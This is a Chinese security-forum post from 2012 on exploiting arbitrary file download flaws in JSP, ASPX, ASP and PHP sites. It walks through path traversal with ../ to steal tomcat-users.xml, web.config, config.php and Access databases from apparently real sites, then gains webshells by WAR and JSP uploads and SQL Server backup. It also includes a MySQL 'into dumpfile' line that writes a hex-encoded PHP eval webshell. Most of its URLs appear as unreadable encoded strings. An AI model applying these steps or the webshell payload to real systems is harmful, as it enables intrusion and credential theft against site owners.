首页
社区
课程
招聘
[原创]Web文件操作脆弱性-----下载文件功能(2)
发表于: 2012-3-17 11:21 5905

[原创]Web文件操作脆弱性-----下载文件功能(2)

2012-3-17 11:21
5905

题外话: 有时间总结了一下,文件下载功能的危害,没有太多技术含量...
声明: 本文中所涉及到的站点,只是为了测试,并且做了处理,请不要破坏这些站点... 本来word文档有截图的,但是不知道怎么发 就这样子了,请见谅...

欢迎高人们分享对此漏洞的利用方法.

一、        概述
随着攻防技术的普及,常见的web漏洞,如sql注入、xss、上传漏洞,基本上,都广为人知,介绍其利用过程的文章和工具随处可见,一般重视安全的网站,代码中都加了防范这些漏洞代码。但是本文讲的任意文件下载漏洞常常不被人重视,而且该利用过程很难用工具实现,因此总结一下,任意文件下载漏洞的利用过程,其危害有时是非常致命。
二、        位置
一般的网站都提供下载文件功能,常规的思路是使用一个动态页面(php、jsp、aspx、asp等)将待下载文件作为参数一般参数名称为filename,如.php?filename/.jsp?filename等。一般实现过程是,在根据参数filename的值,获得该文件在网站上的绝对路径,读取文件,然后是直接发送给客户端下载。一般实现代码如下:(jsp实现文件下载的代码,其它语言实现过程类似)
<%@ page contentType="application;" %>
<%@ page import="java.util.*,java.io.*,java.sql.*,java.text.*"%>
<%
        response.setContentType("application/unknown");
//url参数传入文件名
    String filename =
java.net.URLDecoder.decode(request.getParameter("fileName"));
    String filename2 = "";
    filename2 = filename;
//获得文件绝对路径
    File file = new
    File("/home/zzang/www/jsphome/jm/thesisUpload/"+filename);         
    byte b[] = new byte[(int)file.length()];
    //将待下载文件直接返回给客户端
response.setHeader("Content-Disposition", "attachment;filename=" + filename2 + ";");
   if (file.isFile()){
   BufferedInputStream fin = new BufferedInputStream(new FileInputStream(file));
   BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream());
    int read = 0;
    while ((read = fin.read(b)) != -1){
    outs.write(b,0,read);}
    outs.close();
    fin.close();}
%>
该代码实现了将文件下载到客户端,但是如果没有对传入的参数filename进行过滤,就可以实现下载服务任何文件,产生任意文件下载漏洞。

三、        判断方法
判断过程很简单:
1.        在路径中添加aa/../看是否可以回溯
原链接:
890K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2V1N6g2)9J5k6i4c8W2M7%4c8Q4x3X3g2F1k6i4c8Q4x3V1k6@1k6i4y4@1i4K6u0r3M7%4c8#2k6r3g2F1N6q4)9#2k6X3c8W2L8h3!0Q4x3V1k6c8N6h3g2K6N6r3W2G2L8W2)9#2k6V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2M7r3S2H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1b7J5x3o6l9$3x3e0l9I4z5o6R3@1x3e0l9#2i4K6g2X3f1X3g2H3L8s2W2Q4x3X3g2V1L8$3x3`.
修改:
a7aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2V1N6g2)9J5k6i4c8W2M7%4c8Q4x3X3g2F1k6i4c8Q4x3V1k6@1k6i4y4@1i4K6u0r3M7%4c8#2k6r3g2F1N6q4)9#2k6X3c8W2L8h3!0Q4x3V1k6c8N6h3g2K6N6r3W2G2L8W2)9#2k6V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2M7r3S2H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8S2j5g2)9J5c8W2)9J5k6g2)9J5k6g2)9J5c8U0t1H3x3o6j5I4x3o6p5^5z5o6b7I4x3o6g2Q4y4h3k6d9k6i4m8D9P5g2)9J5k6h3c8G2j5H3`.`.
两次下载文件相同,继续测试
2.        确定是否可以下载任意文件
修改请求为:
507K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2V1N6g2)9J5k6i4c8W2M7%4c8Q4x3X3g2F1k6i4c8Q4x3V1k6@1k6i4y4@1i4K6u0r3M7%4c8#2k6r3g2F1N6q4)9#2k6X3c8W2L8h3!0Q4x3V1k6c8N6h3g2K6N6r3W2G2L8W2)9#2k6V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2M7r3S2H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8@1k6i4y4@1i4K6u0r3M7%4c8#2k6r3g2F1N6q4)9#2k6X3c8W2L8h3!0Q4x3V1k6c8N6h3g2K6N6r3W2G2L8W2)9#2k6V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2M7r3S2H3
试图下载该下载文件的源代码,如果提示不存在,则可能是任意文件下载漏洞,在路径中添加../,直到下载到该文件为止。如果提示类型错误,可能不是任意文件下载漏洞。
最终下载成功的请求
3cbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2V1N6g2)9J5k6i4c8W2M7%4c8Q4x3X3g2F1k6i4c8Q4x3V1k6@1k6i4y4@1i4K6u0r3M7%4c8#2k6r3g2F1N6q4)9#2k6X3c8W2L8h3!0Q4x3V1k6c8N6h3g2K6N6r3W2G2L8W2)9#2k6V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2M7r3S2H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6@1k6i4y4@1i4K6u0r3M7%4c8#2k6r3g2F1N6q4)9#2k6X3c8W2L8h3!0Q4x3V1k6c8N6h3g2K6N6r3W2G2L8W2)9#2k6V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2M7r3S2H3

四、        利用过程
该漏洞不像其他漏洞那样有通用的利用方法和相关工具,本漏洞的利用过程与具体的网站架构关系很大,需要了解常见的网站的架构,如网站的配置文件位置等信息,下面分别介绍此漏洞在常见几种网站中利用方法。

利用此漏洞无论什么站点,第一步都是确定网站的根目录。因此首先介绍一下怎样确定站点根目录。
第一步:确定网站的根目录,一般待下载的文件都是放到网站的子文件夹下,子文件夹数目不定,因此需要使用路径回溯(../)确定网站的根目录。
例如:一个下载点:
5a7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6t1#2b7K6c8Q4x3U0g2q4b7g2)9J5y4f1t1$3i4K6t1#2b7K6S2Q4x3U0g2o6z5g2)9J5y4f1j5K6i4K6t1#2b7V1q4Q4x3U0g2o6b7W2)9J5y4f1t1I4i4K6t1#2c8f1c8Q4x3X3g2V1L8$3x3`.

可以下载文件。
可以看到download.aspx在网站根目录,因此下载
e24K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5k6r3!0%4L8X3I4G2j5h3c8Q4x3X3g2S2M7%4m8^5
出错:

使用回溯(../)确定网站根目录
b2aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3X3g2S2M7%4m8^5
失败
c73K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3X3g2S2M7%4m8^5

下载成功,可以确定该下载点,两次回溯就可以回到根目录。打开文件看一下内容:

可以确定下载的文件是正确的。

对于该漏洞对于不同的网站利用方法有些差异。因此下面分别讲述:

1、        jsp站点
该部分主要讲述两种简单的利用方法,下载tomcat的配置文件和下载网站本身的源代码。
      1)Jsp站点的一个下载点:
242K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8W2)9J5c8X3c8G2N6$3&6Q4x3X3g2B7M7%4m8Q4x3@1k6X3K9h3I4W2L8X3q4E0k6g2)9K6c8q4)9J5y4f1b7#2i4K6t1#2c8o6m8Q4x3U0g2n7x3g2)9J5y4f1g2m8i4K6t1#2b7@1k6Q4x3U0g2q4c8g2)9J5y4f1x3@1i4K6t1#2b7V1k6Q4x3U0g2o6z5g2)9J5y4f1g2m8i4K6t1#2b7K6N6Q4x3U0g2q4b7U0q4Q4x3X3g2V1L8$3y4Q4x3U0k6H3j5i4c8Z5i4K6y4p5b7#2)9K6b7g2)9J5c8W2m8J5L8$3N6J5j5h3#2Q4x3U0f1J5x3p5k6A6L8r3g2K6i4K6u0r3b7i4m8S2j5$3S2W2i4K6t1#2x3U0m8e0L8$3k6@1N6$3q4J5k6g2)9J5y4e0t1H3c8X3!0#2L8X3c8S2N6r3W2G2L8W2)9J5c8W2c8G2L8h3y4S2N6q4)9J5y4e0t1H3y4W2)9J5k6e0m8Q4x3V1k6%4k6h3u0S2M7s2m8K6i4K6u0r3h3W2c8n7g2#2A6Q4x3V1k6#2M7r3I4G2j5h3c8Q4x3V1k6Q4x3U0g2p5y4g2)9J5y4f1b7H3i4K6t1#2b7U0q4Q4x3U0g2q4b7g2)9J5y4f1y4r3i4K6t1#2c8f1g2Q4x3U0g2o6y4q4)9J5y4f1u0r3i4K6t1#2b7K6W2Q4x3U0g2q4b7g2)9J5y4f1x3%4i4K6t1#2c8f1t1I4i4K6u0W2k6r3!0U0
可以看到该下载点,有两个参数,其实是一样的,很容易看出path是待下载文件的在服务器上的绝对路径。而且网站放到tomcat的安装路径下,这一点很重要,说明可以直接访问tomcat的manager/html
请求: 290K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8W2)9J5c8X3#2S2L8X3q4Y4k6i4u0Q4x3V1k6Z5N6r3#2D9

可以看到访问正常,输入用户名和密码就可以登录。
因此下一步就是下载tomcat的配置文件tomcat-users.xml(里面保存登录的用户名和密码)
首先需要对tomcat配置有些了解,具体配置如下:

tomcat-users.xml 在conf文件下,这样就可以直接使用下载点下载该文件。
因此构造url如下:
e5fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8W2)9J5c8X3c8G2N6$3&6Q4x3X3g2B7M7%4m8Q4x3@1k6X3K9h3I4W2L8X3q4E0k6g2)9K6c8s2c8G2L8h3y4S2N6q4)9J5k6s2g2K6k6i4u0K6i4K6u0W2P5r3#2D9i4K6t1$3M7r3q4@1K9q4)9K6c8p5y4Q4x3@1q4Q4x3V1k6b7M7X3!0Y4M7X3q4E0i4K6t1#2x3U0m8r3K9h3I4W2M7#2)9J5c8V1q4H3j5h3y4Z5k6g2)9J5y4e0t1H3f1$3!0X3N6s2N6S2M7X3g2Q4x3U0f1J5x3p5k6G2N6h3&6V1j5i4c8A6L8$3&6Q4x3V1k6f1L8$3#2U0j5i4c8Q4x3U0f1J5x3o6k6Q4x3X3f1H3i4K6u0r3j5$3!0F1k6W2)9J5c8Y4c8G2L8h3y4S2N6q4)9J5k6s2g2K6k6i4u0K6i4K6u0W2P5r3#2D9
下载成功:

打开该文件获得用户名和密码

登录

成功

下面直接,上传一个war文件,就可以获得webshell,完成了一次简单的测试。

2)下载网站本身源代码
下载点: c1bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2W2k6s2g2Q4x3X3g2U0L8W2)9J5c8X3k6A6L8r3g2Q4x3X3g2V1L8#2)9K6c8X3#2W2N6r3S2G2k6q4)9K6c8r3c8G2N6$3&6r3K9h3I4W2i4K6t1$3k6X3W2D9k6f1&6S2L8h3g2Q4x3@1b7J5x3o6l9^5x3o6f1H3y4e0l9&6y4o6p5@1y4q4)9J5k6h3c8G2j5H3`.`.
测试一下不能访问825K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2W2k6s2g2Q4x3X3g2U0L8W2)9J5c8X3#2S2L8X3q4Y4k6i4u0Q4x3V1k6Z5N6r3#2D9

上述方法失效。
首先下载网站的配置文件jsp的配置文件放在根目录WEB-INF/Web.xml下(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)
访问:
e88K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3V1k6X3K9h3I4W2i4K6u0W2k6r3!0Q4x3@1k6E0k6i4c8Z5L8$3c8Q4x3@1c8V1L8%4N6F1c8X3W2D9k6g2)9J5y4X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3g2@1g2n7i4K6u0V1d9f1&6r3i4K6u0r3g2$3g2T1i4K6u0W2P5r3#2D9

下载后打开,关键内容:

后台使用fckeditor编辑器,该编辑器漏洞很多,直接使用该编辑器直接上传路径
a91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3V1k6Q4x3V1k6S2k6r3#2A6L8W2)9J5c8V1k6o6d9$3g2V1K9i4c8G2M7W2)9J5c8X3g2V1K9i4c8G2M7W2)9J5c8X3k6A6L8r3g2E0j5h3&6S2k6$3g2J5i4K6u0r3j5Y4u0G2N6%4y4W2M7W2)9J5c8X3c8W2k6X3q4#2L8s2c8Q4x3V1k6T1M7X3!0%4M7$3g2J5i4K6u0W2K9s2c8E0L8q4)9K6c8W2c8&6M7r3g2Q4x3@1c8A6L8h3q4Y4k6g2)9J5y4V1y4G2L8X3&6W2j5%4c8G2M7W2)9K6c8r3y4G2L8X3&6W2j5%4c8G2M7Y4y4Q4x3V1k6B7M7%4m8Q4x3V1k6U0L8$3&6F1k6h3y4@1L8%4t1`.

选择一个jspshell直接上传,获得webshell,没有任何限制

系统权限,渗透完成。

2 aspx站点
1)        利用sql server渗透
对于aspx站点一般后台都是sql server数据库,因此利用该漏洞的最简单的方法是直接获得数据库密码,直接登录数据库,利用sql server完成渗透。

b96K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2G2M7X3N6Q4x3V1k6p5L8%4N6F1e0r3!0S2k6p5k6A6L8r3g2x3L8%4N6Q4x3X3g2S2M7%4m8^5i4K6y4r3c8X3W2D9k6f1&6S2L8h3g2Q4x3@1c8m8j5$3y4G2L8i4m8S2L8Y4W2A6L8X3N6Q4y4h3k6b7k6i4u0K6L8$3&6K6i4K6g2X3g2r3!0#2M7W2)9#2k6W2m8J5L8$3N6J5j5h3#2Q4x3X3g2H3k6r3j5`.

首先确定网站根目录下载web.config文件,aspx站点用根目录下的web.config文件保存配置信息
尝试确定根目录:
2c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2G2M7X3N6Q4x3V1k6p5L8%4N6F1e0r3!0S2k6p5k6A6L8r3g2x3L8%4N6Q4x3X3g2S2M7%4m8^5i4K6y4r3c8X3W2D9k6f1&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6%4k6h3u0Q4x3X3g2U0L8$3&6X3K9h3M7`.
错误信息:

该错误信息,确定网站的绝对路径(在后面的差异备份用到)

ef0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2G2M7X3N6Q4x3V1k6p5L8%4N6F1e0r3!0S2k6p5k6A6L8r3g2x3L8%4N6Q4x3X3g2S2M7%4m8^5i4K6y4r3c8X3W2D9k6f1&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6%4k6h3u0Q4x3X3g2U0L8$3&6X3K9h3M7`.

打开配置文件找到连接数据库项:

判断sql server 是否可以远程连接

可以远程连接

使用sql server连接服务器

登录成功:

已经获得网站的绝对路径,直接使用差异备份获得shell,即可.

使用菜刀 连接一句话

连接成功

完成渗透。

2)        下载dll文件
Aspx站点一般都会对后台源代码进行编译封装,保存到dll文件中,放到网站根目录的Bin文件夹下,因此,可以利用下载点下载dll文件,获得网站源代码。
一个下载点:
a97K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6t1#2b7K6c8Q4x3U0g2q4b7g2)9J5y4f1t1$3i4K6t1#2b7K6S2Q4x3U0g2o6z5g2)9J5y4f1j5K6i4K6t1#2b7V1q4Q4x3U0g2o6b7W2)9J5y4f1t1I4i4K6t1#2c8f1c8Q4x3X3g2V1L8$3x3`.

两次回溯确定网站的根目录

发现数据库连接失败,不能使用上述方法,因此,尝试通过下载源码,渗透。
首先下载DownLoad.aspx文件,主要是想查看这个aspx站点是否将源代码放到dll文件,这样的话就可以直接下载dll获得整站(不准确)的源代码。

下载后打开: f54K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3c8r3!0%4L8V1I4G2j5h3c8Q4x3X3g2S2M7%4m8^5

在此尝试下载对应的DownLoad.aspx.cs文件
151K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3c8r3!0%4L8V1I4G2j5h3c8Q4x3X3g2S2M7%4m8^5i4K6u0W2j5%4x3`.

失败,说明本站点的源代码放到dll文件中,并且DownLoad.aspx对应的源代码是xkcms.webForm.DownLoad,现在主要来猜解一下dll文件名,由这个命令空间
xkcms.webForm.DownLoad可以知道DownLoad不是,只能一个一个猜测。

2a7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3j5X3W2F1i4K6u0r3P5r3E0U0L8i4y4Q4x3X3g2V1L8r3H3`.

258K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2U0L8$3#2Q4x3X3g2U0L8W2)9J5c8V1c8G2N6$3&6x3L8$3q4V1i4K6u0W2j5i4y4H3P5q4)9K6c8X3k6A6L8r3g2z5j5h3#2W2i4K6y4p5i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3j5X3W2F1i4K6u0r3N6$3g2T1c8X3!0J5L8g2)9J5k6h3c8D9L8l9`.`.

猜测成功,dll是被编译过,直接使用.net reflector工具打开编译后的dll文件。
获得网站源代码如下:

首先看一下,download.aspx文件对应实现代码:

可以看出,没有对fileName参数做任何过滤直接下载请求文件,导致任意文件下载漏洞。

当然最关心的还是网站是否存在其他漏洞,最喜欢的当然是上传漏洞。
找到网站的上传位置

该上传页面没有对上传文件进行过滤导致可以直接上传,测试一下:
访问上传页面:

选择aspx后缀文件

然后到保存上传文件的路径下查看是否上传成功,

可见上传文件成功,直接将上传文件内容,改成aspx代码,即可获得webshell.
当然这是一个特例,注意安全的网站都不会这么差的,但是一般拿到源码总会找到漏洞,只要有时间…就不在举例子了.

3.asp站点
一般的asp站点都是access数据库(连接sql server 直接可以参考aspx站点的利用方法)。而access数据库可以直接下载,因此利用该漏洞比较简便的方法就是直接下载access数据库,找到管理员密码登陆后台,利用后台的上传功能,上传shell.

一个asp下载点
7baK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8V1N6J5j5h3c8#2j5i4c8W2f1$3y4Z5L8$3!0D9i4K6u0r3k6r3I4K6k6q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2j5i4y4H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1b7H3x3e0u0Q4x3U0g2o6y4g2)9J5y4f1p5&6i4K6t1#2b7U0u0Q4x3U0g2r3b7g2)9J5y4f1x3$3i4K6t1#2b7U0N6Q4x3U0g2n7b7#2)9J5y4f1b7K6i4K6t1#2b7U0W2Q4x3U0g2m8y4q4)9J5y4f1y4n7i4K6t1#2c8U0W2Q4x3X3g2V1L8$3x3`.

确定站点根目录:
00bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8V1N6J5j5h3c8#2j5i4c8W2f1$3y4Z5L8$3!0D9i4K6u0r3k6r3I4K6k6q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2j5i4y4H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6s2M7X3q4V1N6h3q4@1k6g2y4U0K9r3!0G2L8q4)9J5c8X3c8D9M7$3c8Q4x3V1k6V1L8%4N6F1L8r3!0S2k6q4)9J5k6h3q4K6M7l9`.`.

下一个步,找到网站与数据库操作的动态页面,动态页面中一般使用include包含连接数据库的配置文件。
找到后台登陆入口
53eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8X3A6A6j5h3&6K6K9r3g2F1i4K6u0r3c8U0R3&6b7e0q4Q4x3V1j5`. Admin_login.asp

下载该登陆界面:
3b8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8V1N6J5j5h3c8#2j5i4c8W2f1$3y4Z5L8$3!0D9i4K6u0r3k6r3I4K6k6q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2j5i4y4H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1j5`. jianshen/F89A1/ Admin_login.asp

打开下载后文件:

可以确定数据库连接文件在inc/conn.asp中
下载该文件
c91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8V1N6J5j5h3c8#2j5i4c8W2f1$3y4Z5L8$3!0D9i4K6u0r3k6r3I4K6k6q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2j5i4y4H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1j5`. jianshen/F89A1/ inc/conn.asp

打开该文件

       可以看到数据库路径。
8b3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8X3A6A6j5h3&6K6K9r3g2F1i4K6u0r3k6r3q4@1j5h3u0S2M7$3g2Q4x3V1k6S2k6s2y4X3K9$3I4V1k6X3!0Y4L8%4N6W2M7X3A6F1L8$3E0X3k6s2y4D9N6$3g2B7K9r3c8X3M7$3A6Z5K9#2)9J5k6h3#2V1j5R3`.`.
      
直接下载失败。应该是做了限制。使用下载点下载
d59K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8U0L8W2)9J5c8V1N6J5j5h3c8#2j5i4c8W2f1$3y4Z5L8$3!0D9i4K6u0r3k6r3I4K6k6q4)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2j5i4y4H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1j5`. jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb

打开数据库,获得管理员用户名和密码(密码md5加密)

弱口令,破解获得密码,登录后台

找到上传位置

下载该文件,里面使用通用的上传文件,存在二次上传,构造二次上传页面:

选择两个文件上传,即可获得webshell.

4.php站点

php一般是mysql数据库, 一般mysql数据库禁止远程连接,但是可以使用phpMyAdmin进行管理。
7d9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2W2k6s2g2Q4x3X3g2@1N6#2)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2M7r3S2H3i4K6y4r3k6X3W2D9k6h3&6S2L8h3g2Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6U0L8$3&6X3i4K6u0r3j5$3!0F1k6X3W2Y4i4K6u0W2M7r3S2H3 &dir=/&title=config.php
下载获得mysql数据库的用户名和密码是root权限

直接使用phpMyAdmin登录
566K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2M7%4c8Q4x3X3g2W2k6s2g2Q4x3X3g2@1N6#2)9J5c8Y4m8Z5M7p5#2&6b7h3c8E0K9h3&6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8X3I4S2L8X3N6Q4x3@1c8W2L8W2)9J5k6s2g2@1k6W2)9J5k6o6S2Q4x3U0k6U0L8$3&6$3j5$3S2S2M7Y4y4W2N6q4)9K6c8r3W2K6L8#2)9J5k6o6R3^5y4e0W2Q4x3X3b7I4i4K6t1$3j5$3!0D9L8r3q4@1K9h3!0F1i4K6g2X3j5$3!0F1L8X3g2U0N6r3W2G2L8W2)9K6c8s2g2@1k6U0S2Q4y4h3k6#2L8X3W2U0L8$3c8W2i4K6g2X3j5$3W2Q4x3U0k6@1L8$3E0W2L8W2)9K6c8r3c8T1j5U0j5%4y4o6f1$3j5$3f1%4y4e0k6S2y4r3b7I4j5e0t1J5k6U0u0T1x3U0p5&6k6X3p5$3x3e0u0W2

直接使用mysql导出文件功能导出一句话
select  0x3C3F706870206576616C28245F504F53545B636D645D293F3E into dumpfile  '/home/webadm/public_html/app/test.php'

使用菜刀连接

完成一次渗透测试。

5.通用方法
上面在不同类型站点中利用该漏洞,都是利用各种站点本身的配置信息完成的,当上述方法都失败时,下载点就会将黑盒渗透过程变成白盒渗透过程,就是下载源代码,找bug,对于每种站点都是一样的。在此省略了.

五、        绕过简单限制方法
  看到有些站点,对该漏洞的防范只是简单判断文件后缀名,例如如下所示:
<?php

include( "init.inc.php" );
get_referer( false );
if ( empty( $_GET['filename'] ) || empty( $_GET['title'] ) || empty( $_GET['dir'] ) )
{
        error_display( t_( "缺少檔案下載參數" ) );
}
$file_name = $_GET['filename'];
$file_download = uploadpath( )."/".$_GET['dir']."/".$file_name;
$file_extension = get_file_extension( $file_name );
if ( strpos( $_SERVER['HTTP_USER_AGENT'], "MSIE" ) )
{
        $file_save = utf8tobig5( $_GET['title'] ).".".$file_extension;
}
else
{
        $file_save = $_GET['title'].".".$file_extension;
}
$file_save = ereg_replace( "[\\/:*?\"<>|]", "_", $file_save );
if ( $file_extension == "php" ) //这里对文件后缀进行判断
{
        exit( "<strong>Cannot be used for ".$file_extension." files!</strong>" );
}
$mimeType = get_file_mimetype( $file_name );
if ( strpos( $_SERVER['HTTP_USER_AGENT'], "MSIE 5" ) || strpos( $_SERVER['HTTP_USER_AGENT'], "Opera 7" ) )
{
        $mimeType = "application/x-download";
}
ob_end_clean( );
header( "Pragma: public" );
header( "Expires: 0" );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Cache-Control: public" );
header( "Content-Description: File Transfer" );
header( "Content-Type: ".$mimeType );
header( "Content-Disposition: attachment; filename=".$file_save );
header( "Content-Transfer-Encoding: binary" );
header( "Content-Length: ".filesize( $file_download ) );
@readfile( @$file_download );
?>
